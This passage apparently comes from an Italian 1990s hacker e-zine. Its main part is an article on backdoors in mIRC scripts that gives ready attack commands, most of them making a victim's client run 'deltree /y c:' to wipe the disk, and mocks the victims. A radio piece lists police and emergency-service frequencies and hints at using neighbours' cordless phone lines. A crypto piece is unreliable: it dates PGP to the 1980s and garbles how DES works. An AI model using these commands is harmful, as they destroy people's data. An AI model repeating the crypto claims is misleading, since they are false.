condivisa... ma questo e' fuori dal range di questo articolo.
5.0 Gestione estesa degli errori
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Abbiamo visto che pressoche' tutte le funzioni utilizzate restitutiscono -1 in
caso di errore. Tuttavia puo' essere necessario sapere qualcosa in piu' su
cosa e' andato storto.
In ambiente Linux si puo' risolvere il problema leggendo la variabile errno che
contiene un valore a cui e' associato il particolare tipo di errore che si e'
verificato. Esistono una serie di macro che consentono una gestione piu'
descrittiva di tali valori. I principali errori che possono verificarsi per
ogni funzione sono riportati nelle man pages di ogni funzione.
Per quando riguarda il windows se una funzione e' fallita bisogna richiamare la
funzione specifica WSAGetLastError() che restituisce un valore utilizzabile in
maniera analoga al errno di UNIX. Anche in questo caso, per conoscere i codici
dei vari errori vi rimando alla documentazione che potete rintracciare ai siti
che vi segnalero' fra poco.
6.0 Conclusioni
~~~~~~~~~~~~~~~
A questo punto molti di voi si aspettano un po' di codice: bene, dovrete
pazientare un po'... nel prossimo articolo porteremo avanti un progetto
alquanto evoluto che includera' gli argomenti trattati in questo articolo.
Comunque dovreste essere in grado di costruirvi il vostro server sfruttando i
concetti in questo articolo e in quello della volta scorsa...
Per finire vi segnalo un paio di URL dove potete trovare altra documentazione:
www.sockets.com
Non perdetevi questo sito... sebbene sia windows-oriented i suoi link e i suoi
doc sono una vera e propria miniera di info.
members.tripod.com/~LordFelix/bsdsock3.htm
La traduzione in italiano (curata da me e da bELFaghor) di uno dei piu' famosi
tutorial sull'uso dei sockets.
Ok, per questo numero e' tutto: vi aspetto la prossima volta quando parleremo
della progettazione e realizzazione di un particolare server.
LordFelix
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ RADi0 SCANNiNG ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Introduzione
La gamma di frequenze a nostra disposizione e' molto ampia, io voglio centrare
l'attenzione su quella parte in cui si svolge attivita' di pubblica sicurezza
e servizi.
Naturalmente ascoltare tutto quello che viaggia nell'etere puo' risultare
improponibile sia per i mezzi, a volte costosi, sia per la vastita' delle
frequenze utilizzate per le radiocomunicazioni.
Le frequenze che trattero' saranno le VHF, le UHF, la gamma dei 900 MHz.
Alla fine potrete trovare alcune frequenze divise per regione (solo
settentrionali) che riguardano:
-carabinieri
-polizia
-guardia di finanza
-vigili del fuoco
-soccorso alpino
Per poter ascoltare serve uno scanner, radio ricevente con gamma di frequenze
variabile a seconda del modello e con modo di ricezione diverso
(AM-FM(N/W)-LSB-USB).
Un buono scanner di marca (ICOM -YEASU - etc.) che copre da 0-1.3 Ghz puo'
costare da 600.000 L. in su' secondo le caratteristiche tecniche
dell'apparecchio. Serve poi un'antenna a seconda della frequenza che si intende
ascoltare. Esistono antenne che coprono un'ampio spettro a discapito pero' del
guadagno, l'ideale sarebbe avere una antenna per ogni gamma di frequenze, per
avere cosi' il piu' alto rendimento. In modo particolare per le HF le antenne
potrebbero essere anche ingobranti, ma di facile costruzione (basta un filo
tagliato alla lunghezza d'onda che si utilizza). Per le VHF-UHF invece puo'
bastare anche un'antenna interna, magari preamplificata. In generale comunque
e' auspicabile avere un'antenna filare, correttamente taliata, per le HF, e una
antenna bibanda che copre le VHF/UHF. I costi per le antenne sono molto
contenuti, infatti per le filari basta un filo elettrico e un paio di
connettori PL mentre per una buona antenna VHF/UHF verticale il costo e' di
poche decine di mila lire. Spesso si sottovaluta l'importanza dell'antenna,
forse per il basso costo, forse per la difficile installazione, ritengo
personalmente che l'antenna sia l'elemento piu' importante di una stazione
radio, e la sua ubicazione deve essere studiata attentamente.
VHF
Le VHF (very high frequency) utlizzate per radiocomunicazioni vanno dai 30 MHz
ai 300 MHz. Possiamo dividerle a grandi linee cosi':
30 - 50 (MHz) : interfoni , alcuni servizi di sicurezza , vecchi cordless non
omologati
50 - 55 (MHz) : gamma OM dei 6m.
55 - 70 (MHz) : canali radiotelevisivi ( spesso RAI 1)
70 - 80 (MHz) : polizia - vigili del fuoco
80 - 87.5 (MHz) : trasponder ponti stazioni radiofoniche "FM"
87.5 - 108 (MHz) : stazioni radiofoniche "FM"
108 - 136 (MHz) : areonautica civile
136 - 144 (MHz) : ministero degli interni (inutilizzata)
144 - 146 (MHz) : gamma OM dei 2m.
146 - 150 (MHz) : ministero degli interni (inutilizzata)
150 - 155 (MHz) : finanza
155 - 174 (MHz) : ponti ad uso civile
174 - 250 (MHz) : alcune televisioni locali
250 - 300 (MHz) : parte della banda areonautica militare
Allora veniamo alle cose che possono interessare di piu', per ordine di
frequenza parliamo dei famosi cordless non omologati, i piu' famosi sono i
"panasonic". Sono dei telefoni portatili che lavorano in entrata a 46 MHz ed
in uscita a 48 MHz. Se voi aveste un telefono di questo tipo sarebbe meglio
sostituirlo poiche' alcuni furboni potrebbero agganciarsi alla vostra linea.
Infatti se qualcuno avesse un telefono simile al vostro e fosse nelle vostre
vicinanze (non troppo anche 500 m.) potrebbe telefonare con la votra linea
telefonica.... unica condizione e' che il vostro portatile non sia appoggiato
alla base! Naturalmente se un tipo facesse una cosa del genere chiamando
sempre un solito numero sarebbe uno sciocco poiche' potrebbe essere sgamato
con facilita'!! Quindi questo sistema potrebbe essere utile per.... pensateci!!
Negli ultimi tempi i telefoni non omologati sono in diminuzione, comunque se un
anno fa io fossi andato sotto un grosso palazzo della mia citta' con il
portatile ne avrei agganciati una dozzina... oggi meno della meta'!
Ora passiamo a parlare dei ponti radio che vengono utilizzati per i diversi
servizi. I ponti radio installati su palazzi alti, su tralicci e su alture,
servono per ripetere il segnale di una qualsiasi radio portatile; per
funzionare i ripetitori lavorano su due frequenze: una freq. A dove il ponte
riceve il segnale trasmesso dal portatile, ed una freq. B dove ritrasmette il
segnale amplificato che verra' poi ricevuto dal portatile. Il portatile quindi
riceve in B e automaticamente quando trasmette passa in A.
I ponti sono utilizzati da vigili urbani, bus, crocerossa, servizi di
sorveglianza, grossi cantieri, autostrade, enel, etc.
Per ascoltare un ponte basta sintonizzarsi sulla sua frequenza di uscita (A).
Per aprire un ripetitore e poterci parlare sopra la cosa si complica un
pochino, ma non troppo.
Condizione e' avere una radio che trasmette sulla frequenza di entrata del
ponte!! Molte sono le radio disponibili sul mercato... i prezzi vanno dalle
600.000 lire in su per apparecchi nuovi, ma se ne trovano anche usati. Per
aprire il ponte si deve memorizzare nella memoria della radio la frequenza di
uscita e di entrata del ponte; a volte pero' questo non basta: infatti ormai
nell'80% dei casi per transitare su un ripetitore serve anche un tono... Il
tono e' una nota che viene trasmessa insieme alla portante mentre uno parla,
naturalmente questa nota viene emessa ad una frequenza che l'orecchio umano
non percepisce, ma il ponte si'... infatti se non c'e' questa nota il ponte non
si eccita ;) .
Questo discorso vale per tutti i ripetitori, indipendentemente dalla frequenza
su cui lavorano.
Un altro elemento per apripre un ponte e' la differenza che c'e' tra la
frequenza di entrata e di uscita, lo shift. Comunemente lo shift e' di -4.6 MHz
per i ponti civili (freq. uscita da 160.000 a 174.000 MHz), mentre in quelli
della finanza lo shift e' di -800 -1000 KHz. In quelli radioamatoriali lo shift
e' di -600 KHz.
UHF
Le UHF (ultra high frequency) per comunicazioni radio vanno dai 300 MHz ad
1 GHz. Le UHF sono meno organizzate in gruppi di utilizzo, possiamo comunque
ricordare:
300 - 410 (MHz) areonautica militare
410 - 430 (MHz) carabinieri (uscite 425-426)
430 - 440 (MHz) banda radioamatoriale 70cm.
440 - 500 (MHz) alcuni ponti privati, telefoni portatili della prima
generazione verso i 490 MHz le prime reti televisive
500 - 850 (MHz) reti televisive terrestri
850 - 950 (MHz) cellulari (E-Tacs - GSM prima generazione)
Le UHF sono quindi piu' ampie delle VHF e assai piu' ampie delle HF. Questo
perche' vengono trasmessi i segnali video delle televisioni analogiche
terrestri... quelle che noi tutti possiamo ricevere con le classiche antenne
che ci sono sui tetti.
A parte alcune frequenze criptate della finanza bisogna ricordare la presenza
dei carabinieri... a volte ridicoli nelle loro comunicazioni. I loro ponti
coprono zone molto estese e sono divisi per centrali, ogni centrale e'
identificata con un numero. L'uscita va dai 425 ai 426 MHz l'entrata -10 MHz.
Non utilizzano nessun tono pero' e' consigliabile non rompere.... alcune
centrali stanno sperimentando delle comunicazioni criptate.
900 MHz
Per ascoltare i cellualari basta poco.... le radio e gli scanner dell'ultima
generazione possiedono gia' la gamma dei 900 MHz mentre le radio piu' anziane
possono essere modificate con un appostito convertitore che costa una trentina
di mila lire. C'e' poco da dire... i cellulari che si ascoltano sono gli E-Tacs
poiche' la trasmissione dei GSM e' totalmente numerica (digitale). Gli E-tacs
sono ascoltabili dai 930 ai 950 Mhz in uscita, cioe' il segnale che viene
trasmesso dalle antenne TELECOM mentre la frequenza in entrata e' a - 50 MHz
(il segnale trasmesso dal telefonino). Tra i canali la spaziatura e' di
525 KHz.
Se un telefono e' in movimento veloce non possiamo ascoltarlo molto a lungo
poiche' avviene un cambiamento repentino della frequenza utilizzata, mentre se
un cellulare e' fermo in una determinata zona lo si puo' ascoltare per delle
mezz'ore.
--------------------------------
PIEMONTE
--------------------------------
-PRONTO INTERVENTO E CARABINIERI
Torino e provincia
37.550
38.050
170.400
426.250
426.550
426.775
426.875
426.925
Alessandria e prov.
171.525
425.900
426.050
426.125
426.300
426.950
Asti e prov.
426.400
426.450
426.725
426.825
426.975
Cuneo e prov.
171.300
425.375
425.650
425.650
425.700
425.775
426.150
Novara e prov.
426.350
426.675
426.625
426.750
426.850
Vercelli e prov.
425.325
425.400
425.275
425.725
425.575
-POLIZIA
77.275 AL
78.800 BI
78.300 NO
77.275 Valenza
78.975 VB
78.600 A4
76.900 A5
78.375 A7-A26
78.450 A21
78375 A26
-FINANZA
153.800 - 154500
429.000 - 429.975
-VIGILI DEL FUOCO
73.850 TO
73.675 AL
73.850 AT
73.850 CN
73.900 NO
73.575 VC
SOCCORSO ALPINO
71.500
71.550
-----------------------------
LIGURIA
-----------------------------
-PRONTO INTERVENTO E CARABINIERI
Genova e prov.
37.350
37.850
426.350
426.625
426.675
426.750
426.850
Imperia e prov.
425.950
426.325
426.800
426.900
La Spezia e prov.
425.350
426.250
426.825
426.550
Savona e prov.
425.450
425.750
426.175
426.575
426.650
-POLIZIA
77.075 Chiavari
77.450 GE
77.375
78.375 A6 A7 A10
78.450 A12 a 15
-FINANZA
153.800 -154.500
-VIGILI DEL FUOCO
73.550 GE
73.750 GE
73.800 GE
73.600 IM
73.700 La Spezia
73.950 SV
--------------------------------
LOMBARDIA
--------------------------------
-PRONTO INTERVENTO E CARABINIERI
Milano e prov.
38.000
173.800
da 425.000 a 425.600 ogni 25 Khz
Bergamo e prov.
37.600
425.950
426.200
426.325
426.800
426.900
Brescia e prov.
171.425
426.400
426.450
426.725
426.825
426.975
Como e prov.
37.650
37.750
37.850
171.350
425.375
425.650
425.700
425.775
426.150
Cremona e prov.
173.640
425.350
425.425
425.825
426.250
426.550
Mantova e prov.
171.075
426.350
426.625
426.675
426.750
426.850
Pavia e prov.
37.600
171.275
425.800
425.875
426.275
426.375
426.600
Sondrio e prov.
426.250
426.550
426.775
426.875
426.925
Varese e prov.
37.700
171.250
425.550
425.925
426.100
426.225
426.425
-POLIZIA
77.750 BG
77.425 BS
77.975 Busto A.
78.200 CO
77.450 CR
78.275 LE
78.725 LO
76.850 MN
78.325 78.500 76.850 76.875 77.925 MI
78.225 PV
77.975 VA
-FINANZA
153.800 - 154.500
-VIGILI DEL FUOCO
73.650 MI
73.600 MI prov.
73.700 BG
73.750 BR
73.600 CO
73.750 CR MN
73.500 PV
73.850 SO
73.900 VA
-SOCCORSO ALPINO
71.500
--------------------------------
VENETO
--------------------------------
-PRONTO INTERVENTO E CARABINIERI
Venezia e prov.
425.450
425.750
426.175
426.575
426.650
Padova e prov.
425.800
425.875
426.275
426.375
426.600
Rovigo e prov.
426.250
426.775
426.875
426.925
426.550
Treviso e prov.
425.025
425.100
425.200
425.500
425.625
Verona e prov.
425.900
426.050
426.125
426.300
426.950
Vicenza e prov.
425.000
425.050
425.150
425.600
425.675
-POLIZIA
Belluno 77.550 77.600
Jesolo - Chioggia 77.250
Verona 77.825 77.700
-FINANZA
153.800 - 154.500
-VIGILI DEL FUOCO
73.550 Venezia
73.600 Venezia - Rovigo - Treviso - Vicenza
73.900 Rovigo e Padova
-VERONA BASE NATO Monte Mosca
140.600
146.700
152.600
--------------------------------
EMILIA ROMAGNA
--------------------------------
-PRONTO INTERVENTO E CARABINIERI
Bologna e prov.
425.925
425.550
426.100
426.225
426.425
Ferrara e prov.
425.375
425.650
425.700
425.775
425.150
Modena e prov.
172.150
424.575
424.675
425.300
Parma e prov.
172.000
424.500
424.700
424.775
424.875
Piacenza e prov.
171.050
424.550
424.625
424.975
424.925
Ravenna e prov.
425.175
425.250
425.525
425.850
Reggio Emilia e prov.
171.500
424.525
424.600
424.800
424.900
424.950
-POLIZIA
77.400 Piacenza
77.650 Riccione - Rimini
77.800 Stradale
-VIGILI DEL FUOCO
73.900 Bologna città - Forli' - Ravenna
73.550 Bologna - Ferrara - Modena - Reggio Emilia
73.650 Bologna -
73.950 Ferrara - Forli' - Ravenna
73.850 Modena - Reggio E.
73.975 Parma
onid^
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ iRC áACKD00R ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
IRC Backdoor - Written by Blinking of Soft Project
a) Introduzione
b) Si', ma cos'e' questa backdoor?
c) E' pericolosa?
d) Alcuni esempi
e) Come proteggersi?
f) Fine
a) Introduzione
Backdoor: questa magica parolina ha sempre suscitato in me interesse
perche' rappresenta l'eccezione alla regola.
Trattero' con particolare riguardo in questo breve articolo le backdoor
dei programmi per Internet Relay Chat (IRC) in modo particolare degli
script che vengono aggiunti ad essi.
Le backdoor sono il risultato di 'errori' se cosi' si possono definire
da parte del programmatore, ma molto piu' spesso, originate dall'intento
di chi scrive gli script di sfruttare a suo favore il fatto che un
utente usi uno script.
b) Si', ma cos'e' questa backdoor?
E' una particolare funzione di un programma che puo' essere usata
per far fare qualcosa ad una persona senza che essa lo abbia voluto.
c) E' pericolosa?
Dipende se la si subisce o la si fa a qualcuno :D
Nei casi peggiori una backdoor puo' anche lasciare che un intruso esegua
comandi da remoto e questo puo' compromettere la sicurezza dell'intero
sistema. In altri casi invece la backdoor permette di agire sui comandi
di irc quali quit, kick, op, ecc. in modo da assumere il controllo anche
di altri utenti.
d) Alcuni esempi
Elenco qui di seguito alcuni esempi di backdoor che esistono negli script
per mIRC (quindi di windoze) che tutti almeno una volta abbiamo provato,
credendo che potessero solo migliorare la nostra sicurezza ed aggiungere
delle comodita'.
* Glitch v4.3 (e precedenti) by ]-[obbes (found by DRW)
Attendere che l'utente vada 'away' quindi:
/ctcp VITTIMA MESSAGE ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* Protection Master v4.6 (e precedenti) by Ventura (found by DRW)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* The Pivels2.0 by killex (found by DRW)
Solo per chi ha usato il programma 's-ping' incluso almeno una volta:
!say /msg $2 $3-
!part /part $1
!chans /msg #b000haaa just uh use /msg me !!! /say mirc identifier hjth jkrhth rkjhtjkhr jkwhkj hjkw YOU KNOW HOE BITCH
!kill /kill $2 $3-
!timer /timer $2 $3 $4-
!clsfile /write -c C:\config.xxx
!exit /exit
!unload /unload -rs C:\config.xxx
!op /mode $2 +o $3-
Quindi !timer 0 1 run -n c:\windows\command\deltree /y c:
* Peter Pan script by peterpan (found by DRW)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* Static Orange 2.0 (e le beta della 3.0) by webba (efnet ircop) (found by DRW)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* C-Script (vecchie versioni) (found by DRW)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* Mystique fino alla beta 4 by [3]nigmaZ (found by DRW)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* Mystique fino alla beta 5 esclusa:
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /msg VITTIMA ciao $calc($str(9,400) * $str(9,400))
* ircN (vecchie versioni [pre v4]) by icN (found by DRW)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* 7th Sphere 2.666 by cashmere & venum (found by DRW)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* 7th Sphere v3
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /msg VITTIMA ciao $calc($str(9,400) * $str(9,400))
* WWW irc 7.2 by supergat3 (found by DRW)
alias wwwback {
%enc = *1
%enc = $replace(%enc,a,©) | %enc = $replace(%enc,b,æ) | %enc =
$replace(%enc,c,¡) | %enc = $replace(%enc,d,ï)
%enc = $replace(%enc,e,«) | %enc = $replace(%enc,f,ì) | %enc =
$replace(%enc,g,Å) | %enc = $replace(%enc,h,è)
%enc = $replace(%enc,i,Æ) | %enc = $replace(%enc,j,É) | %enc =
$replace(%enc,k,ö) | %enc = $replace(%enc,l,ù)
%enc = $replace(%enc,m,¢) | %enc = $replace(%enc,n,¥) | %enc =
$replace(%enc,o,ä) | %enc = $replace(%enc,p,·)
%enc = $replace(%enc,q,ò) | %enc = $replace(%enc,r,å) | %enc =
$replace(%enc,s,½) | %enc = $replace(%enc,t,ç)
%enc = $replace(%enc,u,£) | %enc = $replace(%enc,v,) | %enc =
$replace(%enc,w,Ü) | %enc = $replace(%enc,x,ñ)
%enc = $replace(%enc,y,¼) | %enc = $replace(%enc,z,±) | %enc =
$replace(%enc,0,²) | %enc = $replace(%enc,1,þ)
%enc = $replace(%enc,2,\) | %enc = $replace(%enc,3,ë) | %enc =
$replace(%enc,4,ô) | %enc = $replace(%enc,5,ó)
%enc = $replace(%enc,6,º) | %enc = $replace(%enc,7,î) | %enc =
$replace(%enc,8,ð) | %enc = $replace(%enc,9,÷)
%enc = $replace(%enc,$chr(32),ª) | say -r00x- %enc | unset %enc
}
Quindi:
/wwwback ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* WWW irc 7.2+ by supergat3 (nuova versione nuova backdoor)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* Millennium pre beta10 by myn (found by DRW)
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /.timer 0 1 run -n c:\windows\command\deltree /y c:
* Millennium beta10 e successive
Attendere che l'utente vada 'away' quindi:
/msg VITTIMA ciao | /msg VITTIMA ciao $calc($str(9,400) * $str(9,400))
* Rappresent 2.2b by Data
ctcp 100:x:/$2- | halt
essa da' l'accesso a tutti gli utenti di livello 100 a qualsiasi
comando remoto, compreso il /run e il conseguente possibile format
del disco. Chi sono gli utenti di level 100? Guarda un po':
on 1:connect: {
auser -a 100,4,10 *!*appresent@*.usr.gpa.it
auser -a 100,4,10 *!*@mercurio.gpa.it
auser -a 100,4,10 *!*@*.gpa.it
splay $mircdirwav\figata.wav
}
Il simpatico Data ha dato quella flag direttamente a lui!
E non solo: a tutti gli utenti di gpa.it, chiunque essi siano.
Notare che i primi due auser sono del tutto inutili
(comprendono user, host e domani) visto che il terzo
comprende l'intero dominio.
* DYNAMIRC v5
Inserire le linee seguenti nell'aliases
dyn5f /say $encr($1-)
encr { %text2 = $strip(*1) | %temp2 = $r(6,7) | %text = $+ %temp2 $+
| %temp = 0 | :next | if %temp < $len(%text2) { inc %temp | if
$mid(%temp,1,%text2) == $chr(32) { %text = %text $+ $chr(160) } | else
{ %text = %text $+ $chr($min($asc($mid(%temp,1,%text2)),%temp2)) } |
goto next } | unset %temp2 | return $replace(%text,$chr(160),$chr(32))
}
min { %x = $$1 - $$2 | return %x }
La sintassi generale dei comandi e':
/dyn5f <command>
e per piu' comandi:
/dyn5f
<command>
<command>
<command>
* DYNAMIRC Versioni precedenti alla 5
- Spia un utente
/dyn5f set %msgq 1 set %msgrlm <your nick>
/dyn5f set %msgq 1 set %msgrlm <your channel>
- Interrompe quando si spia un utente:
/dyn5f log off <your nick>
- Fa quittare un utente :
/dyn5f .timer 1 5 quit
/dyn5f .timer 1 5 quit <message>
/dyn5f .timer 1 5 quit <message>.timer 1 10 exit
- Messaggio dall'utente:
/dyn5f .msg <nick|channel> <what I think>
- Quit dell'utente:
incollare la stringa in query o nel canale
6(ncg_l + / kocn 6Al__t ni Ti*f ][om_ b_ m[p_^ siol [mm8
Ovviamente tutte le volte che si legge run -n comando, si puo' far eseguire
in remoto un comando a piacere; che poi sia deltree, dir, chkdsk, format o
altro sono solo affari vostri e nella maggior parte dei casi dello sfigato
che ha la backdoor installata ;)
Questi sono solo alcuni esempi delle backdoor (e forse ce ne sono altre...)
degli script maggiormente diffusi tra gli utenti italiani di mIRC.
e) Come proteggersi ?
Le alternative possibili sono due:
- la prima e' quella di utilizzare il client irc cosi' come e', cioe' senza
script aggiuntivi anche se cio' comporta la perdita' di molte vantaggi che
gli script possono offrire.
- la seconda invece consiste nello ->scrivere<- il proprio script (dove con
scrivere intendo partire da zero senza rippare o scopiazzare parti di altri
script) in modo da essere sicuri al 100%.
f) Fine
That's all, Blinking
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ CRYPT V.6.0.0 ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ok. Finalmente ho trovato il tempo per scrivere questo cazzo di articolo.
Iniziamo subito....
Allora, quello che vi ritrovate tra le mani, presumo sia BFI n.3 .
Bene, bene, ora...non so' bene come abbiano impacchettato il tutto quei gran
cazzuti dello staff di softpj, ma da qualche parte troverete un programma di
cryptazione. Tenetevelo stretto, e mettetevelo in una dir.
Il programma, e' alla sua prima versione pubblica. (c'e' stata un pacco di
gente, ke si e' fatta un mazzo cosi' per renderlo decente)...
Dicevo, ankora in beta testing, il programma e' perfettamente funzionante
ed alla data in cui scrivo non e' stato ankora spakkato (leggi CRACKATO).
La cosa dovrebbe fare riflettere, visto l'enorme numero di gentaglia cazzuta
che l'ha avuto fra le mani.
Con il pacchetto, incluso, troverete soltanto la versione per DOS.
La ragione e' semplice: non ho ankora avuto il tempo di fare la conversione
per UNIX. Appena sara' pronta la troverete disponibile sul mio sito:
<< WWW.KYUZZ.ORG/VALVOLINE >>
ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄijÄ
Prima di passare al funzionamento di Crypt, vediamo un po' in generale
il funzionamento degli algoritmi di cryptazione:
Sul mercato sono presenti piu' standard di Cryptazione (se ne contano Migliaia).
Tra questi, quelli piu' efficenti, e quelli che vi ritroverete sempre
tra i piedi sono molti di meno:
[þ] DES
[þ] PGP
[þ] DES_2, e successive implementazioni
Il primo della lista, e' lo standard cryptografico nel mondo UNIX, e non...
Il funzionamento non e' semplicissimo, ma proveremo a dargli un'occhiata:
L'algoritmo DES, allo stato attuale, produce un testo cifrato, con
arricchimento (SALTING), ed utilizza chiavi da 64Bit.
_____________________ _____________________
| TESTO SORGENTE (8k) | ---- SALTING --- | TESTO CIFRATO (12k) |
--------------------- ---------------------
Il funzionamento si basa sulle Permutazioni e le Combinazioni MATEMATICHE.
In pratica ogni singolo carattere del testo sorgente, viene inserito in
una sorta di casellario ideale, dove poi vengono applicate le regole
basilari della Permutazione, della Combinazione, e dello Shifting.
Non includo un file sorgente, sulla implementazione del DES, perche' gia'
|scacco|, nei numeri precedenti ne ha parlato.
Per quanto riguarda
il PGP, invece, la situazione e' differente.
Il PGP, si impone alla meta' degli anni '80, come algoritmo di cryptazione
a chiave pubblica. Il suo funzionamento e' molto semplice:
Il programma al primo utilizzo, crea una chiave PERSONALE DELL'UTENTE.
Da questa chiave, viene poi, estratta una CHIAVE PUBBLICA.
Il metodo utilizzato, sfrutta una proprieta' dei numeri primi, in base alla
quale si puo' estrapolare da una SERIE MATEMATICA COMPLETA, una serie
figlia, che e' in CORRISPONDENZA UNIVOCA con la serie Madre.
In pratica alla serie Figlia, CORRISPONDE UNA ED UNA SOLA SERIE MADRE.
La chiave pubblica e' cosi' libera di girare in rete, senza pericolo
di un uso non autorizzato.
ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄijÄ
Vediamo un po' come funziona Crypt:
Se avete letto la parte iniziale non sarete a digiuno di cryptazione...
...quindi possiamo parlare un po' piu' speditamente delle proprieta di CRYPT.
CRYPT, si pone a meta' tra PGP e DES. In pratica il suo funzionamento si
basa sull'utilizzo di 2Chiavi PRIVATE.
Il testo sorgente, utilizzando queste 2 Chiavi, come vedremo in seguito
produce un testo cifrato, a cui applica un algoritmo di SALTING, che
arricchisce il testo con N(RANDOM), byte.
La differenza con DES, sta' nel fatto, che qui i Byte di SALTING sono RANDOM
e possono variare di volta in volta, anche sullo stesso file sorgente.
DES, invece, utilizza dei canoni molto piu' ristretti per l'applicazione di
Byte di SALTING.
La differenza con PGP, sta' invece, nell'utilizzo delle chiavi.
in CRYPT LE CHIAVI DEVONO RIMANERE SEGRETE, NON ESISTONO CHIAVI PUBBLICHE.
Mittente e Destinatario del FILE DEVONO MANTENERE PRIVATE LE 2 CHIAVI.
Il funzionamento e' quello di un programma di cryptazione tradizionale:
viene passato un testo sorgente, e si ottiene in output un testo cryptato.
Il programma utilizza 2Chiavi da 4096Byte.
Gli algoritmi di cryptazione che agiscono sul testo sorgente sono 2:
Un primo algoritmo, grazie alle chiavi, decide quale algoritmo di
cifratura utilizzare.
Un secondo algoritmo, genera dei Byte Random che vengono aggiunti in
maniera Random, appunto, al testo cryptato.
In questo modo, si aumenta del 150% l'efficenza dell'algoritmo, che
resiste fin troppo bene agli attacchi comuni e non comuni.
Come avrete intuito, e' di vitale importanza, LA NON DIVULGAZIONE DELLE
CHIAVI. Allo stato attuale, infatti, il programma prevede che soltanto
i 2 Estremi siano in possesso della chiave.
In una successiva implementazione, e' prevista l'implementazione di una
forma di chiave pubblica. Per rendere il passaggio delle chiavi piu'
efficente.
I parametri di utilizzo sono banali:
Per Cryptare:
[þ] CRYPT C <sorgente> <destinazione> <Prima Key> <Seconda Key>
Per Decryptare:
[þ] CRYPT D <file_cryptato> <destinazione> <Prima Key> <Seconda Key>
Per Creare una Key:
[þ] CRYPT M
Per Leggere una Key:
[þ] CRYPT R
ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄijÄ
Io avrei finito....
Probabilmente, vi starete chiedendo, perche' non ho incluso i file sorgente...
la risposta e' molto semplice:
BFI e' un giornale che viene letto da mezza ITALIA...
...anche i lamah (persone dall'aspetto ripugnate) lo leggono... questo
potrebbe significare una sola cosa: RIPPING, RIPPING, RIPPING, RIPPING.....
...Ankora non sono pronto, per fronteggiare un'orda di Lamah, che rippano
il mio Code...quando saro' pronto lo mettero'....
>> Chi di voi vuole contattarmi mi trova su #softpj (ircnet). <<
(In questo periodo ci sono un po' meno, perche' mi sto' godendo le vacanze!)
ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄijÄ
I miei ringraziamenti volano a:
[S]Master, ru5ty, |scacco|, ^Budah^, KaF, Nathan, [Draven], [SoReN]
...e tutti gli altri che al momento faccio fatica a ricordare!
!ITALIAN RULEZ!
